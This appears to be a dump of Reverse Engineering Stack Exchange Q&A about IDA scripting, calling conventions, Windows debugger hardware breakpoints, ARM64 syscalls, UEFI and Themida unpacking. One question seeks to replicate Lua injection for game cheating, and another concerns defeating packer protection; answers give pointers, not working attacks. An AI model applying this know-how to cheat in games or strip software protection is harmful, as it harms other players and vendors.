        "Body": "<p>In <code>%SYSTEMROOT%</code>, there are about 2000 DLL and EXE files. I am looking into reverse engineering some of them which are dependencies of other applications.</p>\n\n<p>However, what I would preferably want is disassembling all of them and get the assembly files from all files in order to search through the code more \"quickly\". Even though I keep focusing on individual functions and files, I would otherwise need to decompile each DLL individually, which is a lot of repetitive work.</p>\n\n<p>It's hard enough to find a proper x64 disassembler tool, let a long something that has command line options. Do you have any idea how to solve this problem?</p>\n",
        "Title": "Batch disassembling DLL and EXE files?",
        "Tags": "|windows|assembly|",
        "Answer": "<p>You can always write an IDAPython script that would:</p>\n\n<ol>\n<li>Load a file using <code>idc.LoadFile</code>.</li>\n<li>Wait for the auto-analysis to finish using <code>ida_auto.auto_wait</code></li>\n<li>Save the resulting IDB file by calling <code>idc.save_database</code>.</li>\n</ol>\n\n<p>and then load the next file by calling <code>idc.LoadFile</code> again.</p>\n\n<p>IMO, IDA's disassembler usually yields better results in comparison to the dumpbin utility.</p>\n"
    },
    {
        "Id": "16902",
        "CreationDate": "2017-12-03T17:26:06.713",
        "Body": "<p>How can I debug Portable executable for AMD64 in IDA PRO if I have Intel processor?</p>\n",
        "Title": "How to debug Portable executable for AMD64 in IDA PRO?",
        "Tags": "|ida|debugging|amd64|intel|",
        "Answer": "<p>You did not give any details about your machine's processor. Does it support 64-bit architecture? Does it implement the x86-64 instruction set?</p>\n\n<p>This is only a problem if your machine's Intel processor does not support 64-bit architecture and/or does not does not implement the same instruction set as AMD64 processors.</p>\n\n<p>However, AMD64 processors and most 64-bit Intel processors (other than Itanium-family processors, for example) implement the same instruction set: <a href=\"http://support.amd.com/TechDocs/24594.pdf\" rel=\"nofollow noreferrer\">x86-64</a>. </p>\n\n<p>In other words, PE binaries compiled to target the x86-64 instruction set architecture will execute on Windows boxes regardless of whether they utilize an AMD64 processor or a 64-bit Intel processor.</p>\n\n<p>See also:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/1109569/do-intel-and-amd-processor-have-the-same-assembler\">https://stackoverflow.com/questions/1109569/do-intel-and-amd-processor-have-the-same-assembler</a></li>\n<li><a href=\"https://askubuntu.com/questions/54296/difference-between-the-i386-download-and-the-amd64\">https://askubuntu.com/questions/54296/difference-between-the-i386-download-and-the-amd64</a></li>\n</ul>\n"
    },
    {
        "Id": "16907",
        "CreationDate": "2017-12-04T19:23:13.600",
        "Body": "<p>I was trying to figure out if there is a way I can get the address for a function name that has random characters in it.\nFor example the function name is <em>&quot;Player_GetStats_m29275&quot;</em> here the <em>&quot;m292755&quot;</em>\nis random characters. So I want to search the name of the function by just <em>&quot;Player_GetStats&quot;</em> so it gives me the address of the function.</p>\n<p><strong>get_name_ea</strong> is not good for doing this. I can search the function with <strong>find_text</strong> but it's too slow and takes a lot of time even if I mention the segment.</p>\n",
        "Title": "IDA Script, get function that has random characters in its name",
        "Tags": "|ida|idapython|script|",
        "Answer": "<p>As far as I know, IDA doesn't have a <code>function_name_to_address()</code> that gets a pattern and returns an address. You can iterate over all the functions and check if their name matches the one you want. It should not take too long.  </p>\n\n<pre><code>from idautils import *\nfrom idaapi import *\nfrom idc import *\n\nea = BeginEA()\nfor funcAddr in Functions(SegStart(ea), SegEnd(ea)):\n    funcName = GetFunctionName(funcAddr)\n    # Check if the function name starts with \"Player_GetStats\"\n    if funcName.startswith(\"Player_GetStats\"):\n        print \"Function %s is at 0x%x\" % (funcName, funcAddr)\n</code></pre>\n\n<p>Alternatively you can use <a href=\"https://docs.python.org/2/library/re.html\" rel=\"nofollow noreferrer\">regular expression</a> to match the name you want:</p>\n\n<pre><code>import re\n\nfuncName = \"Player_GetStats_m29275\"\nre.compile(\"^Player_GetStats_\\w\\d{5}$\")\nif pattern.match(funcName):\n   \"%s match the pattern\" % funcName\n</code></pre>\n\n<p><strong>Explanation:</strong></p>\n\n<ul>\n<li><code>^</code> is for \"begins with\"</li>\n<li><code>\\w</code> matches one word character (\"m\" in this case)</li>\n<li><code>\\d</code> matches a digit</li>\n<li><code>{5}</code> checks that the previous expression (<code>\\d</code>) is repeating 5 times</li>\n<li><code>$</code> is for \"end of line\"</li>\n</ul>\n"
    },
    {
        "Id": "16910",
        "CreationDate": "2017-12-05T01:58:37.160",
        "Body": "<p>I'm trying to hack a game. I'm a bit of a white hat hacker - only for this specific game, and only because I enjoy it. There has recently been a spate of players getting away with much more than they should in game by (if the grapevine is to be believed) injecting lua scripts into the loaded game in cheat engine.</p>\n\n<p>I use cheat engine sometimes, I know how to find a value, change it, lock it, find out what writes to it, etc. I wasn't aware that a user can call an external lua file and have it run as if it had been called by the game in question (the copy of the file I've managed to beg/borrow/steal calls function from the game). I am way out of my depth here, I'm not even 100% sure this is seriously what's been going on. Can anyone shed some light on whether or not this is possible (even a feeling of likelihood would help) and more importantly if it is possible, how I can go about replicating it.</p>\n\n<p>I don't want to mention the game specifically as (although it has a small user base) I don't want to give others tips on how to hack it!). That being said, I realise I haven't given much info, <strong>so please tell me what would be helpful to include!</strong></p>\n\n<p>P.S. I have no idea how to tag this - suggestions welcome!</p>\n",
        "Title": "Using cheat engine to activate a modified version of a lua script",
        "Tags": "|injection|",
        "Answer": "<p>Unfortunately, as a beginner, there's a LOT for you to learn where this topic is concerned. It's not that it's particularly outside of your grasp to understand, but rather that it's going to take quite a bit of time.</p>\n\n<p>Without seeing the file or knowing the game, there are any number of solutions that could be happening. So instead of playing guesswork there, I recommend you start by learning how to use Lua in the context of Cheat Engine. <a href=\"http://dsasmblr.com/introduction-to-lua-using-cheat-engine-beginner-to-basic-script-writer/\" rel=\"nofollow noreferrer\">I wrote a beginner's tutorial</a> sometime back that should help you quite a bit.</p>\n\n<p>After that, I recommend watching <a href=\"https://www.youtube.com/watch?v=NY1RZgq_oDc\" rel=\"nofollow noreferrer\">this video</a>, followed by <a href=\"https://www.youtube.com/watch?v=s303GEZfhYs\" rel=\"nofollow noreferrer\">this video</a>--both of which use Lua to solve steps 1-7 of the tutorial that comes bundled with Cheat Engine.</p>\n\n<p>Finally, <a href=\"https://github.com/flarn2006/SA2CheatTable\" rel=\"nofollow noreferrer\">here is an example</a> of an insanely in-depth CE Lua script. Crack it open and take a look at that puppy; it's amazing. Ultimately, you can get as basic (simple scripting) or as complex (designing a full, standalone trainer) as you want with Lua in CE. You have the power of Lua in its entirety, as well as CE's custom Lua functions (and any others you'd like to bring in from other Lua libraries).</p>\n"
    },
    {
        "Id": "16911",
        "CreationDate": "2017-12-05T02:58:27.060",
        "Body": "<p>A C++ program I'm looking at appears to have been compiled with MSVC. It links to MSVCR100.dll, contains MSVC's security cookie code and uses the Microsoft mangling scheme. However, one of the functions I've hit sends its only argument in the EAX register, which is immediately passed as an argument to <code>LoadLibraryW</code> (after BP frame initialisation).</p>\n\n<p>Looking at the code, there are sequences and strings referenced in other functions (evidence of inlining), so I don't think it's a direct assembly code job.</p>\n\n<p>To my knowledge and according to my sources, MSVC doesn't have a calling convention that sends arguments via EAX. Watcom and Delphi have options, but not MSVC. Is it possible that the compiler optimised the function into a register call? Or is there another, undocumented calling convention in MSVC?</p>\n",
        "Title": "How can an IA-32 program seemingly compiled with MSVC send its sole argument via EAX?",
        "Tags": "|c++|register|calling-conventions|msvc|",
        "Answer": "<p>We can see from <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#List_of_x86_calling_conventions\" rel=\"nofollow noreferrer\">this list</a> that IA-32's Delphi/Free Pascal calling convention is the <em>register</em> calling convention. My guess is you're dealing with a binary that's the result of something like this: <a href=\"https://stackoverflow.com/questions/15341954/how-to-call-a-function-using-delphis-register-calling-conventions-from-visual-c\">How to call a function using Delphi's register calling conventions from Visual C++?</a></p>\n\n<p>To partially quote the top-voted answer:</p>\n\n<blockquote>\n  <p>Delphi's <a href=\"http://docwiki.embarcadero.com/RADStudio/en/Procedures_and_Functions#Calling_Conventions\" rel=\"nofollow noreferrer\">register calling convention</a>, also known as Borland fastcall, on x86 <a href=\"http://docwiki.embarcadero.com/RADStudio/Tokyo/en/Program_Control#Register_Convention\" rel=\"nofollow noreferrer\">uses EAX, EDX and ECX registers</a>, in that order.</p>\n</blockquote>\n\n<p>Some additional reading that may help paint a clearer picture of what you're looking at:</p>\n\n<ul>\n<li><a href=\"http://bcbjournal.org/articles/vol4/0012/Using_Visual_C_DLLs_with_CBuilder.htm\" rel=\"nofollow noreferrer\">Using Visual C++ DLLs with C++Builder</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/2964/which-calling-convention-to-use-for-eax-edx-in-ida\">Which calling convention to use for EAX/EDX in IDA</a></li>\n</ul>\n"
    },
    {
        "Id": "16914",
        "CreationDate": "2017-12-05T14:30:29.727",
        "Body": "<p>I have coded a very simple Debugger for x64, I am using currently Win10.</p>\n\n<p>I am trying to set some Hardware Breakpoints to be trapped by my Debugger Loop as follows:</p>\n\n<pre><code>inline void SETBITS(DWORD64 *dw, int lowBit, int bits, int newValue) {\n\n     int mask = (1 &lt;&lt; bits) - 1;\n     *dw = (*dw &amp; ~(mask &lt;&lt; lowBit)) | (newValue &lt;&lt; lowBit);\n\n}\n\nBOOL SetHardwareBP(HANDLE hThread, __int64 Address, DWORD Length, int Condition)\n{\n\n    CONTEXT context = { CONTEXT_DEBUG_REGISTERS };\n    int i;\n    if (!GetThreadContext(hThread, &amp;context)) return -1;\n\n    // find available hardware register\n\n    for (i = 0; i &lt; 4; i++)\n    {\n    if ((context.Dr7 &amp; (1 &lt;&lt; (i * 2))) == 0)\n    {\n        *(&amp;context.Dr0 + i) = Address;\n\n        SETBITS(&amp;context.Dr7, 16 + i * 4, 2, Condition);\n        SETBITS(&amp;context.Dr7, 18 + i * 4, 2, Length);\n        SETBITS(&amp;context.Dr7, i * 2, 1, 1);\n\n        if (!SetThreadContext(hThread, &amp;context))\n            return -1;\n\n        return i;\n    }\n  }\n\n   return -1;\n}\n\nint SetDebugPrivileges(void) {\n\n      TOKEN_PRIVILEGES priv = { 0 };\n      HANDLE hToken = NULL;\n\n      if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken)) {\n        priv.PrivilegeCount = 1;\n        priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;priv.Privileges[0].Luid)) {\n        if (AdjustTokenPrivileges(hToken, FALSE, &amp;priv, 0, NULL, NULL) == 0) {\n            printf(\"AdjustTokenPrivilege Error! [%u]\\n\", GetLastError());\n        }\n    }\n\n       CloseHandle(hToken);\n  }\n       return GetLastError();\n}\n\n\nvoid ThreadsLoop(DWORD mPID) {\n\n   HANDLE         hProcessSnap = NULL;\n\n   SetDebugPrivileges();\n   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\n   if (hProcessSnap == INVALID_HANDLE_VALUE) return;\n\n    else\n    {\n    THREADENTRY32 the;\n    the.dwSize = sizeof(THREADENTRY32);\n\n    BOOL bret = Thread32First(hProcessSnap, &amp;the);\n    while (bret)\n    {\n\n\n        if (the.th32OwnerProcessID == mPID)\n        {\n\n            HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, false, the.th32ThreadID);\n            SuspendThread(hthread);\n\n                           //call with length and condition set to 0 for a Code Execution type\n            int hr = SetHardwareBP(hthread, addr, 0, 0);\n            ResumeThread(hthread);\n\n            CloseHandle(hthread);\n        }\n        bret = Thread32Next(hProcessSnap, &amp;the);\n    }\n    CloseHandle(hProcessSnap);\n}\n}\n</code></pre>\n\n<p>I am calling\n<code>ThreadsLoop(pi.dwProcessId);</code> where pi is the the PROCESS_INFORMATION structure returned from my initial call:</p>\n\n<pre><code>CreateProcess(pname, NULL, NULL, NULL, false, DEBUG_ONLY_THIS_PROCESS, NULL,NULL, &amp;si, &amp;pi);\n</code></pre>\n\n<p>None of the Hardware Breakpoints is Hit. I did several attempts changing the DR0-DR7 (and condition and length variables above) setup without luck. All calls to SetThreadContext returned successfully.</p>\n\n<p>I did the same test with a Software Breakpoint via the following code and works perfect:</p>\n\n<pre><code>BYTE p[] = { 0xcc }; \nSIZE_T d = 0;\nWriteProcessMemory(pi.hProcess, (void*)addr, p, sizeof(p), &amp;d);\n</code></pre>\n\n<p>What could be wrong in this code/approach?</p>\n\n<p>Thanks</p>\n",
        "Title": "Simple Debugger and Hardware BreakPoints in x64 Windows 10",
        "Tags": "|debuggers|breakpoint|",
        "Answer": "<p>There are some issues you have to fix</p>\n\n<ol>\n<li><p>Please take a look at <a href=\"http://winappdbg.sourceforge.net/HowBreakpointsWork.html\" rel=\"nofollow noreferrer\">This</a> where is explains which event is triggered in the hardware breakpoint case. You have to add <strong>EXCEPTION_SINGLE_STEP</strong> in <strong>DebuggerThreadProc()</strong> function</p></li>\n<li><p>You need to be attached to the target process in order to be able to debug it. For this you need to use <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms679295(v=vs.85).aspx\" rel=\"nofollow noreferrer\"> DebugActiveProcess</a></p></li>\n<li><p>This one is quite a semantic error. As you create the target process in the same app you already have an open handle to both the process and the main thread so there is NO need to create snapshot and searching for the target! This is completely redundant. Please remove all these parts and pass the handles as input to those functions.</p></li>\n<li><p>Always keep in mind to <strong>close</strong> the handles you've opened.</p></li>\n</ol>\n"
    },
    {
        "Id": "16917",
        "CreationDate": "2017-12-05T19:46:46.243",
        "Body": "<p>I wonder if there some syscall table for Linux ARM64 architecture?\nI found syscall table for <a href=\"https://w3challs.com/syscalls/?arch=arm_strong\" rel=\"noreferrer\">Linux ARM32</a> and many other architectures, but the problem still exists.</p>\n\n<p>Does anyone know where can I find a syscall table exactly for ARM64?</p>\n",
        "Title": "ARM64 syscalls table",
        "Tags": "|assembly|linux|arm|system-call|",
        "Answer": "<p>arm64 syscall numbers are defined at: <a href=\"https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h\" rel=\"nofollow noreferrer\">https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h</a></p>\n<p>This is a bit confusing since it is quite different from x86 and x86_64 and arm 32-bit which define syscall numbers under <code>arch/</code>, e.g. <a href=\"https://github.com/torvalds/linux/blob/v4.17/arch/arm/tools/syscall.tbl\" rel=\"nofollow noreferrer\"><code>arch/arm/tools/syscall.tbl</code></a> for arm 32-bit, but the arm64 file has a comment saying:</p>\n<blockquote>\n<p>New architectures should use this file and implement the less feature-full calls in user space.</p>\n</blockquote>\n<p>so I'm guessing that it is just because aarch64 is new and used a newer more arch agnostic mechanism, while the old ones can never break userland compatibility and thus cannot be updated to the new mechanism.</p>\n<p>This is corroborated by the following minimal runnable aarch64 assembly Linux call example that works on QEMU and uses <code>64</code> for <code>write</code> and <code>93</code> for <code>exit</code>:</p>\n<p>main.S</p>\n<pre><code>.text\n.global _start\n_start:\n    /* write */\n    mov x0, #1\n    ldr x1, =msg\n    ldr x2, =len\n    mov x8, #64\n    svc #0\n\n    /* exit */\n    mov x0, #0\n    mov x8, #93\n    svc #0\nmsg:\n    .ascii &quot;hello world\\n&quot;\nlen = . - msg\n</code></pre>\n<p><a href=\"https://github.com/cirosantilli/arm-assembly-cheat/blob/4735730c384740405f4a521ed9aa7a6c827bce6d/v8/linux/hello.S\" rel=\"nofollow noreferrer\">GitHub upstream</a>.</p>\n<p>Assemble and run:</p>\n<pre><code>aarch64-linux-gnu-as -o main.o main.S\naarch64-linux-gnu-ld -o main.out main.o\nqemu-aarch64 main.out\n</code></pre>\n<p>Tested in Ubuntu 16.04 amd64.</p>\n<p><strong><code>strace</code> source code</strong></p>\n<p>This is a good place to easily cheat to check the syscall numbers, see: <a href=\"https://unix.stackexchange.com/questions/421750/where-do-you-find-the-syscall-table-for-linux/499016#499016\">https://unix.stackexchange.com/questions/421750/where-do-you-find-the-syscall-table-for-linux/499016#499016</a></p>\n<p>It also confirms what I said about newer archs seeming to have unified call numbers.</p>\n"
    },
    {
        "Id": "16919",
        "CreationDate": "2017-12-05T23:50:46.483",
        "Body": "<p>I recently asked to question: <a href=\"https://reverseengineering.stackexchange.com/questions/16911/how-can-an-ia-32-program-seemingly-compiled-with-msvc-send-its-sole-argument-via/16915#16915\">How can an IA-32 program seemingly compiled with MSVC send its sole argument via EAX?</a> After posting the question, I found that another function passed the first argument in <code>EAX</code> and then pushed its remaining argument. The caller then cleans up the stack.</p>\n\n<p>The calling code:</p>\n\n<pre><code>.text:00402465                 lea     eax, [ebp+var_4]\n    ...\n.text:00402469                 push    eax\n.text:0040246A                 mov     eax, [ebp+hWnd]\n.text:0040246D                 call    openFileDialog\n.text:00402472                 add     esp, 4\n</code></pre>\n\n<p>And the function itself:</p>\n\n<pre><code>.text:00411730 openFileDialog  proc near\n.text:00411730\n    ...\n.text:00411730 arg_0           = dword ptr  8\n.text:00411730\n.text:00411730                 push    ebp\n.text:00411731                 mov     ebp, esp\n.text:00411733                 sub     esp, 18h\n.text:00411736                 cmp     byte_42AE1D, FALSE\n.text:0041173D                 push    ebx\n.text:0041173E                 push    esi\n.text:0041173F                 push    edi\n.text:00411740                 mov     esi, eax\n    ...\n.text:00411789                 mov     eax, [ebp+arg_0]\n.text:0041178C                 push    eax\n.text:0041178D                 push    esi\n.text:0041178E                 call    openFileDialog_Compat\n.text:00411793                 add     esp, 8\n</code></pre>\n\n<p>As you can see, in the function, the value of <code>EAX</code> is saved before anything can affect it, so it is definitely being used as a parameter. Later, the pushed argument is passed to a normal __cdecl function.</p>\n\n<p>The program is linked to use msvcr100.dll and uses MSVC style throughout (Such as __security_cookie, MSVC name mangling, etc.), so it would appear to have been compiled with Visual C++, but this unusual calling convention makes me question that.</p>\n",
        "Title": "What compiler uses a calling convention that uses EAX as the first argument, then pushes onto the stack?",
        "Tags": "|c++|calling-conventions|",
        "Answer": "<p>This is probably a program compiled with \"Whole Program Optimization\" or \"Link-time code generation\". <a href=\"https://msdn.microsoft.com/en-us/library/xbf3tbeh\" rel=\"noreferrer\">From MSDN</a>:</p>\n\n<blockquote>\n  <p>When /LTCG is used to link modules compiled with /Og, /O1, /O2, or\n  /Ox, the following optimizations are performed: </p>\n  \n  <ul>\n  <li>Cross-module inlining</li>\n  <li><p>Interprocedural register allocation (64-bit operating systems only)</p></li>\n  <li><p><strong>Custom calling convention (x86 only)</strong></p></li>\n  <li><p>Small TLS displacement (x86 only)</p></li>\n  <li><p>Stack double alignment (x86 only)</p></li>\n  <li><p>Improved memory disambiguation (better interference information for global variables and input parameters)</p></li>\n  </ul>\n</blockquote>\n"
    },
    {
        "Id": "16933",
        "CreationDate": "2017-12-07T21:18:55.050",
        "Body": "<p>may anyone explain to me why most of the debuggers don't auto recognize functions?</p>\n\n<p>This is a feature I only found in IDA and ollydbg, any other debugger I tried just don't analyze the functions as IDA and olly do.</p>\n\n<p>I understand that this could be a performance issue to justify don't set this feature as the default behaviour, but why debuggers like x64dbg seems to just don't have the feature?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Why most debuggers don't auto recognize functions?",
        "Tags": "|debuggers|functions|",
        "Answer": "<p>As assembly instruction sets are reasonably complex, properly figuring out a function boundaries inside a big executable binaries is a somewhat difficult task. Even IDA, which specializes in that, has quite a few mistakes and misses in certain scenarios.</p>\n\n<p>This goes back to disassembly strategies, which are basically the algorithm used to provide disassembly listings for given stream of binary. They're often divided to two categories:</p>\n\n<ol>\n<li><em>Linear Sweep</em> is to simply disassembly one instruction after the other. The straight-forward way to disassemble a sequence of instructions - start the next instruction disassemble right where the last instruction ended.</li>\n<li><em>Recursive Disassembly</em> attempts to consider the code flow while disassembling, and will likely hold a stack of \"function entries\" (every call, for example, will get it's target address in that queue). The queue keeps being emptied by the disassembly engine until all encountered functions are analyzed.</li>\n</ol>\n\n<p>They both have their pros and cons although Linear sweep is considered simpler to implement and recursive disassembly to yield better results.</p>\n\n<p>Most debuggers don't focus too much on the disassembly task because usually, instruction pointer registers will point to the correct function to disassemble and the need to disassemble big binary blobs and recognise functions is rare. Additionally, as mostly static analysis tool IDA puts a lot more focus into exposure of the \"whole picture\", where debuggers tend to shine a light on only a small piece of the executable at a time.</p>\n\n<p>P.S.</p>\n\n<p>x64dbg is another debugger (considered an ollydbg replacement by some) with decent function discovery.</p>\n"
    },
    {
        "Id": "16939",
        "CreationDate": "2017-12-08T14:07:54.920",
        "Body": "<p>I want to analyse this UEFI bios <a href=\"https://file.town/download/nirrs944q4ybipq0b1p8f23z2\" rel=\"nofollow noreferrer\">here</a>. When I open it in IDA it looks compressed to me. Also IDA lists the processor type as ZLOG. Shouldn't this be the multi processor setting for IDA? </p>\n\n<p>Anyway, If I am not mistaken it's compressed and divided into some odd sections. How can I decompress this and look at this in more detail?</p>\n\n<p>If this isn't compressed how can I go about doing some static analysis on this?</p>\n\n<p>Thanks</p>\n",
        "Title": "Decompress and Analyse VMWARE EFI64 bios",
        "Tags": "|static-analysis|decompress|bios|vmware|uefi|",
        "Answer": "<p>Most UEFI implementations use a standard ROM layout (FFS - Flash File System), described in the UEFI's PI (Platform Initialization) <a href=\"http://uefi.org/specifications\" rel=\"nofollow noreferrer\">specification</a>. There are many tools and scripts which can parse this format, the simplest is probably <a href=\"https://github.com/LongSoft/UEFITool\" rel=\"nofollow noreferrer\">UEFITool</a>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Lho3C.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Lho3C.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16943",
        "CreationDate": "2017-12-09T07:02:19.247",
        "Body": "<pre><code>push   %rbp\nmov    %rsp,%rbp\nmov    %rdi,-0x18(%rbp)\nmov    %rsi,-0x20(%rbp)\nmov    -0x18(%rbp),%rax\nmov    (%rax),%eax\nmov    %eax,-0x4(%rbp)\nmov    -0x20(%rbp),%rax\nmov    (%rax),%edx\nmov    -0x18(%rbp),%rax\nmov    %edx,(%rax)\nmov    -0x20(%rbp),%rax\nmov    -0x4(%rbp),%edx\nmov    %edx,(%rax)\nmov    -0x18(%rbp),%rax\nmov    (%rax),%edx\nmov    -0x20(%rbp),%rax\nmov    (%rax),%eax\nadd    %edx,%eax\npop    %rbp\nretq  \n</code></pre>\n\n<p>I am just looking for someone to confirm my thinking, what I am seeing happen is that parameter 1 is taken and put 18 below rbp and parameter two is taken and put 20 below rbp and then it seems to me that the parameters are set to each other as in x=y and y=x however at the very end the second parameter is set to rax and then added to edx which i believe is the first parameter and then returned. Is this correct or am i way off?</p>\n",
        "Title": "What does this assembly instruction do?",
        "Tags": "|assembly|c|",
        "Answer": "<p>Yes, that seems correct. The equivalent C code would look something like:</p>\n\n<pre><code>int func(int *arg1, int *arg2)\n{\n    int temp = *arg1;\n    *arg1 = *arg2;\n    *arg2 = temp;\n    return *arg1 + *arg2;\n}\n</code></pre>\n\n<p>The use of stack-based storage indexed off of <code>rbp</code> is what we called <a href=\"https://en.wikipedia.org/wiki/Stack-based_memory_allocation\" rel=\"nofollow noreferrer\">local storage</a>. We can give each use a name to make it easier to see what is going on. Let's call the value at <code>rbp-0x18</code> local_arg1, <code>rbp-0x20</code> local_arg2 and <code>rbp-0x4</code> local_temp. By <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">calling convention</a>, <code>rdi</code> is the first argument to the function and <code>rsi</code> is the second.</p>\n\n<p>Adding comments where pointer dereferencing is occurring, the disassembly is then</p>\n\n<pre><code>push   %rbp\nmov    %rsp,%rbp         \nmov    %rdi,local_arg1\nmov    %rsi,local_arg2\nmov    local_arg1,%rax\nmov    (%rax),%eax        ; dereference the pointer i.e. eax = *arg1\nmov    %eax,local_temp\nmov    local_arg2,%rax\nmov    (%rax),%edx        ; edx = *arg2\nmov    local_arg1,%rax\nmov    %edx,(%rax)        ; *arg1 = edx\nmov    local_arg2,%rax\nmov    local_temp,%edx\nmov    %edx,(%rax)        ; *arg2 = edx\nmov    local_arg1,%rax\nmov    (%rax),%edx        ; edx = *arg1\nmov    local_arg2,%rax\nmov    (%rax),%eax        ; eax = *arg2\nadd    %edx,%eax\npop    %rbp\nretq  \n</code></pre>\n"
    },
    {
        "Id": "16949",
        "CreationDate": "2017-12-09T19:06:05.300",
        "Body": "<p>This is a probably a very basic question, please bear with me.</p>\n\n<p>I'm starting to get into reverse engineering following this pdf I found online: <a href=\"https://beginners.re/\" rel=\"nofollow noreferrer\">https://beginners.re/</a><br>\nI am, however, stuck at the very basic steps.</p>\n\n<p>The relevant part from the PDF: <img src=\"https://i.stack.imgur.com/yGeqF.png\" alt=\"1]\"></p>\n\n<p>When I try to compile my c++ code (which is the same as in the book) with the following command:</p>\n\n<pre><code>gcc main.cpp -S -O\n</code></pre>\n\n<p>This is the output I get:</p>\n\n<p><img src=\"https://i.stack.imgur.com/z9FJ6.png\" alt=\"\"><a href=\"https://i.stack.imgur.com/z9FJ6.png\" rel=\"nofollow noreferrer\">2</a></p>\n\n<p>Which, as you can see, is very different, and a lot more complicated than the supposed output written in the pdf. I'm unsure what I'm doing wrong, could anyone help me?</p>\n",
        "Title": "Assembly output too complicated",
        "Tags": "|assembly|",
        "Answer": "<p>Both outputs show the same effective assembly code.  In both outputs, there is only a single instruction:</p>\n\n<pre><code>ret\n</code></pre>\n\n<p>The second example output is a variation of <code>ret</code> the reason for which is listed in <a href=\"https://stackoverflow.com/questions/20526361/what-does-rep-ret-mean#20526918\">this answer on Stackoverflow</a>.</p>\n\n<p>The <em>more complicated</em> output has several code organizational assembler directives.  These directives are not instructions.</p>\n"
    },
    {
        "Id": "16966",
        "CreationDate": "2017-12-13T22:23:35.453",
        "Body": "<p>Before we continue I'd like you to keep in mind I'm relatively new to unpacking executables. So I have a few</p>\n\n<p>Recently I've been trying to unpack an executable (x64 architecture), aka find the OEP and restore the IAT, that is packed with Themida x64:</p>\n\n<p>I've tried breakpointing at LoadLibraryA. I've read thats a great way to solve it.</p>\n\n<p>However, I do not know what to do next. It brings me to this page:</p>\n\n<pre><code>00007FFE291AA240 | 48 89 5C 24 08           | mov qword ptr ss:[rsp+8],rbx           |\n00007FFE291AA245 | 48 89 74 24 10           | mov qword ptr ss:[rsp+10],rsi          | [rsp+10]:LoadLibraryA\n00007FFE291AA24A | 57                       | push rdi                               |\n00007FFE291AA24B | 48 83 EC 20              | sub rsp,20                             |\n00007FFE291AA24F | 48 8B F9                 | mov rdi,rcx                            | rcx:\"USER32.dll\"\n00007FFE291AA252 | 48 85 C9                 | test rcx,rcx                           | rcx:\"USER32.dll\"\n00007FFE291AA255 | 74 15                    | je kernelbase.7FFE291AA26C             |\n00007FFE291AA257 | 48 8D 15 FA 2F 10 00     | lea rdx,qword ptr ds:[7FFE292AD258]    | 7FFE292AD258:\"twain_32.dll\"\n00007FFE291AA25E | FF 15 B4 C9 0F 00        | call qword ptr ds:[&lt;&amp;_stricmp&gt;]        |\n00007FFE291AA264 | 85 C0                    | test eax,eax                           |\n00007FFE291AA266 | 0F 84 72 A8 03 00        | je kernelbase.7FFE291E4ADE             |\n00007FFE291AA26C | 45 33 C0                 | xor r8d,r8d                            |\n00007FFE291AA26F | 33 D2                    | xor edx,edx                            |\n00007FFE291AA271 | 48 8B CF                 | mov rcx,rdi                            | rcx:\"USER32.dll\"\n00007FFE291AA274 | E8 17 00 00 00           | call &lt;kernelbase.LoadLibraryExA&gt;       |\n00007FFE291AA279 | 48 8B 5C 24 30           | mov rbx,qword ptr ss:[rsp+30]          | [rsp+30]:LoadLibraryA\n00007FFE291AA27E | 48 8B 74 24 38           | mov rsi,qword ptr ss:[rsp+38]          |\n00007FFE291AA283 | 48 83 C4 20              | add rsp,20                             |\n00007FFE291AA287 | 5F                       | pop rdi                                |\n00007FFE291AA288 | C3                       | ret                                    |\n</code></pre>\n\n<p>I've gotten a few addresses where it finds the API's, but it doesnt load all of them! (from what I have seen)</p>\n\n<p>For example, this one address I had loaded only Windows libs (kernel32.dll, KernelBase.dll, ...), but due to it missing a ton of libs (DirectX, OpenGL, ...), I threw it off as not being the OEP.</p>\n\n<p>I've unpacked files packed with UPX, Themida is stumping me.</p>\n\n<p>All help is appreciated! Thank you :)</p>\n",
        "Title": "Unpacking a Themida packed x64 executable?",
        "Tags": "|unpacking|",
        "Answer": "<p>Unpacking Themida, especially the newer versions, is not a small task by any means. It is literally worlds different from unpacking UPX and if you are new to unpacking, you have absolutely no business trying to unpack Themida. Here's why:</p>\n\n<p>Themida uses an extremely complex virtual machine environment combined with every anti-debug and anti-analysis trick in the books, combined with many different obfuscation methods. For example, in a UPX packed binary, you just need to find OEP and dump it down before finally rebuilding the IAT. In a Themida binary, different parts of the code are run in virtual machines and it obscures the behavior of the target program. The best method to unpack a VM-protected packer like Themida is to <em>devirtualize</em> it, which involves figuring out the entire instruction set that the packer uses and writing a script to interpret that language. All of that is only one step. Themida also severely obstructs the import address table, splits up the entire program and only loads one portion at a time (this prevents you from \"dumping\" the entire program like you did with UPX) and then unloads it on a per-routine basis, and implements a bunch of anti-analysis tricks, <a href=\"http://www.oreans.com/themida_features.php\" rel=\"noreferrer\">many of which are listed on their website.</a></p>\n\n<p>Additionally, you will need to know the exact version of Themida you are dealing with. Themida is so complicated to unpack that most people write scripts and so you can search for a script for the given version you are trying to unpack and attempt to use that. If the version is new and there is no script, given your level of expertise right now, this will be a very, very long and arduous task.</p>\n\n<p>Further reading:</p>\n\n<p><a href=\"https://www2.cs.arizona.edu/people/debray/Publications/generic-deobf.pdf\" rel=\"noreferrer\">A Generic Approach to Automated Deobfuscation of Executable Code</a></p>\n\n<p><a href=\"https://repo.palkeo.com/repositories/mirror7.meh.or.id/Reverse%20Engineering/unpackers.pdf\" rel=\"noreferrer\">Anti-Unpacker Tricks by Peter Ferrie</a></p>\n\n<p><a 